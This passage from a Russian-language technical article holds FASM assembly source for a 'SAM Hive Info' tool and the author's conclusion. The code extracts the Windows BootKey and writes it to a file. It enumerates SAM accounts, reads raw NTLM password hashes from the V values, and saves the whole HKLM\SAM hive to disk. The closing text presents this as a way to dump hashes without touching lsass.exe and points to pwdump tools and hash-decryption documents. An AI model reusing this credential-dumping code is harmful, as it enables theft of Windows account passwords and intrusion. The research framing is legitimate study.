invoke CryptStringToBinary,buff,32,4,\ ;//<-- CRYPT_STRING_HEX
hexKey,pcbBinary,0,0
invoke _lcreat,<'BootKey.bin',0>,0 ;// Запись ключа в файл!
push eax
invoke _lwrite,eax,hexKey,16
pop eax
invoke _lclose,eax
invoke SetDlgItemText,[hwnd],ID_File, <'BootKey.bin',0>
invoke SetDlgItemText,[hwnd],ID_Fsize,<'16 byte',0>
;//*******************************************
;//------ Пытаемся открыть куст SAM
;//*******************************************
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,\ ;//<------------- 0 = OK!
<'SAM\SAM\Domains\Account\Users\Names',0>,0,0,\
REG_OPTION_BACKUP_RESTORE, KEY_READ,0,hSamNames,0
or eax,eax
jz @f
invoke MessageBox,0,<'Ошибка!',10,\
'Не удалось получить доступ к разделу SAM.',0>,\
<'SAM Hive Info v0.1.',0>,0x10
jmp @close
@@: invoke SetDlgItemText,[hwnd],ID_Sam,\
<'HKLM\SAM\SAM\Domains\Account\Users\',0>
;// Цикл заполнения ListView...
@listViewRow:
mov dword[pDataSize],64
invoke RegEnumKeyEx,[hSamNames],[index],buff,pDataSize,0,0,0,0
cmp eax,259 ;//<------ ERROR_NO_MORE_ITEMS
jz @f
mov eax,[index]
mov [lvi.mask],LVIF_TEXT
mov [lvi.pszText],buff
mov [lvi.iItem],eax
mov [lvi.lParam],eax
mov [lvi.iSubItem],0
invoke SendMessage,[hLV],LVM_INSERTITEM,0,lvi
stdcall ClearBuff,names,64
invoke lstrcat,namesPath,buff
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,namesPath,0,0,\
REG_OPTION_BACKUP_RESTORE, KEY_READ,0,hSamUsers,0
mov [pDataSize],8
mov [ridBuff],0
invoke RegGetValue,[hSamUsers],0,0,\
RRF_RT_ANY,pdwType,ridBuff,pDataSize
cinvoke wsprintf,buff,<'%08X',0>,[pdwType]
mov [lvi.mask],LVIF_TEXT
mov [lvi.pszText], buff
mov [lvi.iSubItem],1
invoke SendMessage,[hLV],LVM_SETITEM,0,lvi
inc [index]
jmp @listViewRow
@@: invoke RegCloseKey,[hSamNames]
invoke RegCloseKey,[hSamUsers]
jmp @next
;//********************************************************
;//****** Обработчик "WM_NOTIFY" (клик в строке ListView)
;//********************************************************
@notify: mov esi,[lparam]
mov ebx,[esi+NMHDR.code]
cmp ebx,NM_CLICK
jne @exit
mov ecx,[esi+NM_ITEMACTIVATE.iItem]
cmp ecx,-1
je @exit
mov [lvi.iItem],ecx
mov [lvi.iSubItem],1
mov [lvi.pszText],buff
mov [lvi.cchTextMax],16
invoke SendMessage,[hLV],LVM_GETITEMTEXT,ecx,lvi
call ParseFVkey
jmp @next
;//********************************************************
;//****** Обработчики сообщений "WM_CLOSE/COMMAND" ********
;//********************************************************
@exit: cmp [wparam],BN_CLICKED shl 16 + ID_Save
jne @f
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,<'SAM',0>,0,0,\
REG_OPTION_BACKUP_RESTORE, KEY_READ,0,hSamBackup,0
invoke RegSaveKeyEx,[hSamBackup],<'BackupSAM.regf',0>,0,2
invoke RegCloseKey, [hSamBackup]
invoke MessageBox,0,<'Раздел реестра успешно сохранён в файле "BackupSAM.regf"!',0>,\
<'SAM Hive Info v0.1',0>,0x40
jmp @next
@@: cmp [wparam],BN_CLICKED shl 16 + ID_Clear
jne @f
invoke MessageBox,0,<'Функционал не реализован в данной версии!',0>,\
<'SAM Hive Info v0.1',0>,0x40
@@: cmp [wparam],BN_CLICKED shl 16 + IDCANCEL
jne @next
@close: invoke EndDialog,[hwnd], 0
@next: xor eax,eax
@return: ret
endp
;//============= ПРОЦЕДУРЫ ================
;//------ Перевод строки в верхний рестр
align 8
proc UpperCase Addr,Size
mov edi,[Addr]
mov ecx,[Size]
@upper: cmp byte[edi],'a'
jb @fuck
cmp byte[edi],'f'
ja @fuck
and byte[edi],0xDF
@fuck: inc edi
loop @upper
ret
endp
;//------ Очищает буферы для сл.операций
align 8
proc ClearBuff Offset,Size
mov edi,[Offset]
mov ecx,[Size]
xor eax,eax
rep stosb
mov eax,[Offset]
dec eax
mov byte[eax],0
ret
endp
;//------ Парсит ключи F и V учётных записей
;// На входе: в "buff" лежит строка RID выбранного юзера
align 8
proc ParseFVkey
pusha
stdcall ClearBuff,users,64
invoke lstrcat,usersPath,buff
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,usersPath,0,0,\
REG_OPTION_BACKUP_RESTORE,KEY_READ,0,hUserRid,0
or eax,eax
jz @f
invoke MessageBox,0,<'Ошибка!',10,\
'Не удалось открыть \Account\Users\RID*',0>,\
<'SAM Hive Info v0.1',0>,0x10
popa
ret
;// Вывод инфы из ключа "F" (fixed)
@@: stdcall ClearBuff,f_Buff,80
mov [pDataSize],80
invoke RegGetValue,[hUserRid],0,<'F',0>,RRF_RT_ANY,pdwType,f_Buff,pDataSize
mov esi,f_Buff
mov eax,[esi+SAM_F.ACB] ;//<----- состояние учётной записи
mov ebx,userOff
bt eax,0 ;// бит(0) = отключена
jc @f
mov ebx,userOn
@@: invoke SetDlgItemText,[hDlg],ID_Stat,ebx
mov esi,f_Buff
lea eax,[esi+SAM_F.LastLogon]
invoke FileTimeToSystemTime,eax,stm
movzx eax,[stm.wDay]
movzx ebx,[stm.wMonth]
movzx ecx,[stm.wYear]
cinvoke wsprintf,buff,<'%02d.%02d.%d',0>,eax,ebx,ecx
invoke SetDlgItemText,[hDlg],ID_Time,buff
mov esi,f_Buff
lea eax,[esi+SAM_F.PassLastSet]
invoke FileTimeToSystemTime,eax,stm
movzx eax,[stm.wDay]
movzx ebx,[stm.wMonth]
movzx ecx,[stm.wYear]
cinvoke wsprintf,buff,<'%02d.%02d.%d',0>,eax,ebx,ecx
invoke SetDlgItemText,[hDlg],ID_Pass,buff
mov esi,f_Buff
lea eax,[esi+SAM_F.LastBadPass]
invoke FileTimeToSystemTime,eax,stm
movzx eax,[stm.wDay]
movzx ebx,[stm.wMonth]
movzx ecx,[stm.wYear]
cinvoke wsprintf,buff,<'%02d.%02d.%d',0>,eax,ebx,ecx
invoke SetDlgItemText,[hDlg],ID_Bad,buff
mov esi,f_Buff
movzx eax,[esi+SAM_F.LogonCount]
cinvoke wsprintf,buff,<'%d',0>,eax
invoke SetDlgItemText,[hDlg],ID_Lcnt,buff
mov esi,f_Buff
movzx eax,[esi+SAM_F.BadPassCount]
cinvoke wsprintf,buff,<'%d',0>,eax
invoke SetDlgItemText,[hDlg],ID_Bcnt,buff
;// Вывод инфы из ключа "V" (variable)
stdcall ClearBuff,buff,2048
mov [pDataSize],2048
invoke RegGetValue,[hUserRid],0,<'V',0>,RRF_RT_ANY,pdwType,buff,pDataSize
or eax,eax
jz @f
invoke MessageBox,0,<'Ошибка!',10,'Не удалось прочитать ключ(V)',0>,0,0x10
popa
ret
@@: invoke SetDlgItemText,[hDlg],ID_NHash,<'Не найден',0>
invoke SetDlgItemText,[hDlg],ID_Sid,<'Учётная запись зарегистрированного пользователя',0>
mov esi,buff
push [esi+SAM_V.Comment.Offset]
push [esi+SAM_V.Comment.Size]
mov ebx,[esi+SAM_V.NTHash.Offset]
add ebx,0xCC+4
add ebx,buff
cmp [osFlag],10
jnz @win7
add ebx,4
@win7: mov eax,[esi+SAM_V.NTHash.Size]
cmp eax,4
ja @ntOk
jmp @comment
@ntOk: mov eax,[ebx]
mov ecx,[ebx+4]
mov edx,[ebx+8]
mov ebx,[ebx+12]
bswap eax
bswap ecx
bswap edx
bswap ebx
cinvoke wsprintf, buff,<'%X%X%X%X',0>,eax,ecx,edx,ebx
invoke SetDlgItemText,[hDlg],ID_NHash,buff
@comment: pop ecx esi
add esi,0xCC
add esi,buff
or ecx,ecx
jz @end
mov edi,buff+1024
shr ecx,1
@@: lodsw
stosw
loop @b
mov dword[edi],0
invoke SetDlgItemTextW,[hDlg],ID_Sid,buff+1024
@end: invoke RegCloseKey,[hUserRid]
popa
ret
endp
;//------------------
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',shell32,'shell32.dll',user32,'user32.dll',\
advapi32,'advapi32.dll',crypt32,'crypt32.dll',comctl32,'comctl32.dll',gdi32,'gdi32.dll'
include 'api\user32.inc'
include 'api\crypt32.inc'
include 'api\shell32.inc'
include 'api\kernel32.inc'
include 'api\advapi32.inc'
include 'api\comctl32.inc'
include 'api\gdi32.inc'
;//------------------
section '.rsrc' data resource readable
directory RT_DIALOG, dialogs,\
RT_GROUP_ICON, Icons,\
RT_ICON, my_icon
resource dialogs, 100, LANG_ENGLISH + SUBLANG_DEFAULT, mainform
resource Icons, 101, LANG_NEUTRAL, myicons
resource my_icon, 102, LANG_NEUTRAL, myicon
dialog mainform,'',0,0,400,240, DS_3DLOOK+WS_CAPTION+WS_SYSMENU+DS_CENTER,,,'Verdana',8
dialogitem 'Button',' Коды классов в ветке LSA ',\
-1,010,010,125,079, WS_VISIBLE+BS_GROUPBOX+BS_CENTER
dialogitem 'Static',' Ключ JD', -1,015,028,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Ключ Skew1', -1,015,042,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Ключ GBG', -1,015,056,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Ключ Data', -1,015,070,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static','',ID_JD, 068,028,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_SK, 068,042,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_GB, 068,056,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_DT, 068,070,060,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Button',' Раздел реестра SAM - общая информация ',\
-1,150,010,240,079, WS_VISIBLE+BS_GROUPBOX+BS_CENTER
dialogitem 'Static',' BootKey', -1,155,028,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Сохранён в', -1,155,042,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Доступна ветка',-1,155,056,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Версия ОС', -1,155,070,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static','',ID_Key, 215,028,167,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_File, 215,042,118,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Fsize, 340,042,041,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Sam, 215,056,167,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Win, 215,070,167,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Button',' Свойства учётной записи ',\
-1,150,098,240,110, WS_VISIBLE+BS_GROUPBOX+BS_CENTER
dialogitem 'Static',' Состояние', -1,155,116,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Дата входа', -1,283,116,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Правка пароля',-1,155,131,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Неверный пасс',-1,270,131,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Всего входов в систему', -1,155,145,100,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Всего ошибок входа', -1,270,145,100,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Raw NTLM Hash',-1,155,160,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static',' Комментарий:', -1,155,174,060,010, WS_VISIBLE+WS_GROUP
dialogitem 'Static','',ID_Stat, 215,116,050,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Time, 328,116,053,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Pass, 215,131,050,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Bad, 328,131,053,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Lcnt, 242,145,022,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Bcnt, 348,145,033,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_NHash,215,160,166,010, WS_VISIBLE+SS_CENTER+SS_SUNKEN
dialogitem 'Static','',ID_Sid, 215,174,166,025, WS_VISIBLE+SS_CENTER+SS_EDITCONTROL
dialogitem LISTVIEW_CLASS,'',ID_LV, 010,100,125,108, WS_VISIBLE+WS_BORDER +LVS_REPORT
dialogitem 'BUTTON','Выход',IDCANCEL,275,218,115,013, WS_VISIBLE+BS_DEFPUSHBUTTON
dialogitem 'BUTTON','Бэкап куста HKLM\SAM',\
ID_Save, 150,218,120,013, WS_VISIBLE+BS_PUSHBUTTON
dialogitem 'BUTTON','Сбросить пароль',\
ID_Clear,010,218,125,013, WS_VISIBLE+BS_PUSHBUTTON
enddialog
icon myicons, myicon,'icon34.ico'
Моя Win10 на буке имеет 5 зареганных юзеров, при чём активен только 1
В этой демке функционал пимпы "Сбросить пароль" не реализован,
поэтому при нажатии просто получим мессагу. Зато бэкап исправно работает.
В этой демке функционал пимпы "Сбросить пароль" не реализован,
поэтому при нажатии просто получим мессагу. Зато бэкап исправно работает.
Чтобы проверить полученный нами ключ BootKey на валидность, можно сравнить его с результатом консольной утилиты BKREG.EXE. Она ожидает единственный параметр в виде имени файла *.txt, и по уже знакомой нам схеме генерит ключ для расшифровки хэшей пароля. Как видим всё совпадает, а значит мы всё сделали правильно:
5. Заключение
Как показал данный эксперимент, утверждение типа "Пользователю в сессии(1) закрыт доступ к ветке SAM" не имеет под собой оснований. С привилегией Backup она полностью открыта админу не только на чтение, но и на запись. В результате отпадает необходимость вмешиваться в критически важный процесс системы lsass.exe, чтобы сдампить содержимое его памяти.
В скрепке найдёте весьма интересные доки PDF с описанием алгоритма расшифровки паролей от Win7 до Win10, а так-же исходник этого кода с готовым исполняемым файлом для тестов. Всем удачи, пока!
Ссылки
Набор полезных утилит:
Index of /pub/projects/john/contrib/windows/pwdump
Актуальная информация о хэшах Win10:
Retrieving NTLM Hashes and what changed in Windows 10
Базовая дока о SAM, на которую ссылаются все, кому не лень:
SysKey and the SAM
Хабр тоже в курсе всех интересных событий:
Хранение и шифрование паролей Microsoft Windows